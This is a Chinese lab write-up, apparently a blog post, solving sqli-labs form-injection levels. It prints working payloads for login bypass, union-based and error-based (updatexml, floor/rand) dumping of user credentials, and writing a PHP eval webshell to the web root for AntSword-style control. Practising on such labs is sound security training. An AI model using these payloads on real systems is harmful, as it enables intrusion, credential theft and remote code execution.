基于表单的sql注入

前言:题目来源sqli-labs-master第10/11/12/13/14题,不能用联合就报错,方法如下:
在这里插入图片描述
尝试是否有万能密码,然后考虑联合注入,然后尝试报错注入这里两种方式我都讲解一下。
uname=' or 1=1 #&passwd=admin&submit=Submit
这里有个小问题就是–+不能用,不知道为什么,这里万能密码是可以的
,来试试联合注入。

联合注入

uname=' union select 1,2 #&passwd=admin&submit=Submit
在这里插入图片描述

成功,接下来就是爆库了,表 uname=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()) #&passwd=admin&submit=Submit

在这里插入图片描述

字段uname=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'users') #&passwd=admin&submit=Submit
在这里插入图片描述
报错注入就是这点不好,只能显示30位,后面的显示不出来,后面讲解怎么办。
爆库uname=' union select 1,(select group_concat(username,'%20',password) from users) #&passwd=admin&submit=Submit
这里要注意这里的users是没有引号的,上面是有的,至于为啥我也不清楚
在这里插入图片描述

报错注入

首先爆表uname=' and updatexml('',concat('~',( select group_concat(table_name) from information_schema.tables where table_schema=database() )),'') #&passwd=admin&submit=Submit
在这里插入图片描述
然后爆字段uname=' and updatexml('',concat('~', (select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user','current_connections','total_connections') ) ),'') #&passwd=admin&submit=Submit
有点长,因为不带not in的话显示不下后面的username和password

在这里插入图片描述

另一种报错注入,基于floor,rand的uname=admin" and (select count(*) from information_schema.tables group by concat((select group_concat(username,'%20',password) from users ) ,floor(rand(0)*2)) ) #&passwd=admin&submit=Submit
但是这个出问题了 说子查询超了一行
在这里插入图片描述

可以插入一句话木马

uname=' union select 1, "<?php @eval($_POST['ring']); ?>" into outfile "D://phpstudy_pro//WWW//ring.php" #&passwd=admin&submit=Submit
在这里插入图片描述
然后用菜刀或者antsword

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值